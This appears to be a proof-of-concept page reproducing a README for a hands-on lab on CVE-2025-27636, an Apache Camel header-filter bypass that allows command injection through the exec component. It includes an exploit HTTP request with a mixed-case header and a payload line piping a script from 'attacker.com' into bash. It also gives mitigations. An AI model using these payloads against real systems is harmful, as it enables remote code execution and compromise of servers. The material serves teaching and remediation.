CVE-2025-27636 PoC — Apache Camel: Camel Message Header Injection via Improper Filtering

Source

Associated Vulnerability

Readme

---
# 🛡️ CVE-2025-27636 — Practical Exploitation Lab for Apache Camel

## 🔍 Overview

**CVE-2025-27636** is a critical **Remote Code Execution (RCE)** vulnerability in **Apache Camel**, specifically in the **`camel-exec`** component. It stems from a subtle but dangerous issue:

> **The `DefaultHeaderFilterStrategy` performs case-sensitive checks on header names, which can be bypassed using alternate casing.**

This means internal Camel headers—such as `CamelExecCommandExecutable`—that should be blocked can slip through if their casing is manipulated (e.g., `cAmeLexecCommandExecutable`).

When this header reaches the `exec:` endpoint, an attacker can **inject arbitrary commands**, leading to full system compromise.

---

## 📌 Technical Background

### ✅ `DefaultHeaderFilterStrategy`

Apache Camel’s `DefaultHeaderFilterStrategy` is intended to **protect internal headers** like:

- `CamelHttp*`
- `CamelFile*`
- `CamelExecCommandExecutable` ← 🚨 vulnerable if casing bypasses the filter


🔍 What Does "Internal" Mean?
Internal headers are:

Prefixed with Camel*

Used only within Camel to control behavior (routing, processing, endpoints)

Not intended to be exposed to external systems like HTTP, JMS, etc.



However, prior to the patch, this filter **matched header names case-sensitively**, which violates the HTTP spec (where headers are case-insensitive) and allows bypasses such as:

```http
GET /systeminfo HTTP/1.1
Host: target-ip:8484
cAmeLexecCommandExecutable: /bin/bash -c "touch /tmp/pwned"
````

This header would be passed through to the `exec:` component, which then executes the payload.

### 🛠️ `CamelExecCommandExecutable`

This header tells the `camel-exec` component **which command** to run. It’s powerful—and **extremely dangerous**—if user-controllable, especially in environments that support OS-level commands (e.g., `bash`, `cmd.exe`, etc.).

---

## 🧪 Hands-On Lab: Pinewood Server Diagnostic

**Project**: `Pinewood Server Diagnostic`
**Author**: [@enochgitgamefied](https://github.com/enochgitgamefied)
**Goal**: Reproduce CVE-2025-27636 in a live, educational lab.

---

## 🔗 GitHub Repository

👉 [https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab](https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab)

---

## 📁 Project Overview

* Built with **Apache Camel 4.10.0**
* Routes:

  * `/tasks` → Lists tasks using `exec:tasklist` or `exec:ps`
  * `/systeminfo` → Outputs OS info (`systeminfo` or `uname -a`)
  * `/network` → Shows `ipconfig` or `ifconfig`
* Web UI served on `/` using embedded Jetty
* Vulnerable to modified-case header injection if filtering is not patched

---

## ⚙️ Getting Started

```bash
# Clone the repository
git clone https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab.git
cd CVE-2025-27636-Pratctical-Lab

# Package the app
mvn clean package

# Run it
java -jar target/hello-camel-1.0-SNAPSHOT.jar
```

Then visit in your browser:

🖥️ `http://<your-ip>:8484`

---

## 🚨 Demonstrating the Vulnerability

**Unpatched behavior:**

If you send a header like this (notice casing):

```
cAmeLexecCommandExecutable: whoami
```

The filter doesn't block it, and it gets passed to the `exec:` endpoint. You can demonstrate:

* `whoami`
* `uname -a`
* `bash -c "curl http://attacker.com/shell.sh | bash"` ← dangerous

---

## 🎥  YouTube Demo

A complete demonstration is being prepared and will be uploaded soon. It will walk through:

* Application setup
* Header injection
* Command execution
* Remediation steps

Demo Link on Youtube **https://www.youtube.com/watch?v=z4Xf9LYXc9o&t=714s**!

---

## 🛡️ Mitigation & Fix

1. **Upgrade Apache Camel** to a version with **case-insensitive header filtering** (this is patched).
2. Use a **custom `HeaderFilterStrategy`** if you must enforce stricter logic.
3. Do **not** expose `exec:` routes directly to HTTP unless fully locked down.

---

## 🧠 Key Takeaways

* Internal headers must **never** be controllable by external users.
* **Case sensitivity** in security filters is a well-known anti-pattern.
* Apache Camel is powerful, but with that power comes **responsibility**—especially when chaining HTTP to `exec`.

---

## ⚠️ Disclaimer

This lab is designed for **educational** and **controlled lab** purposes only.
**Never** attempt this on unauthorized systems or networks.

<img width="1279" alt="Apache Camel2" src="https://github.com/user-attachments/assets/e8583cb6-b993-4b37-9ae7-5c8776cf5ae2" />

File Snapshot

 [4.0K]  /data/pocs/fac7d1c2041abf0c89bcccaee5efa5ee351dc55b
├── [2.4K]  pom.xml
├── [4.4K]  README.md
├── [4.0K]  src
│   └── [4.0K]  main
│       ├── [4.0K]  java
│       │   └── [4.0K]  com
│       │       └── [4.0K]  enoch
│       │           └── [4.0K]  vulncamel
│       │               └── [4.6K]  PinewoodAutoShopCamel.java
│       └── [4.0K]  resources
│           ├── [ 936]  application.properties
│           └── [4.0K]  static
│               └── [2.8K]  index.html
└── [4.0K]  target
    ├── [4.0K]  classes
    │   ├── [ 612]  application.properties
    │   ├── [4.0K]  com
    │   │   └── [4.0K]  enoch
    │   │       └── [4.0K]  vulncamel
    │   │           ├── [5.4K]  PinewoodAutoShopCamel$1.class
    │   │           └── [3.1K]  PinewoodAutoShopCamel.class
    │   └── [4.0K]  static
    │       └── [2.8K]  index.html
    ├── [ 15M]  hello-camel-1.0-SNAPSHOT.jar
    ├── [4.0K]  maven-archiver
    │   └── [  70]  pom.properties
    ├── [4.0K]  maven-status
    │   └── [4.0K]  maven-compiler-plugin
    │       └── [4.0K]  compile
    │           └── [4.0K]  default-compile
    │               ├── [  98]  createdFiles.lst
    │               └── [  97]  inputFiles.lst
    └── [8.1K]  original-hello-camel-1.0-SNAPSHOT.jar

19 directories, 14 files

Remarks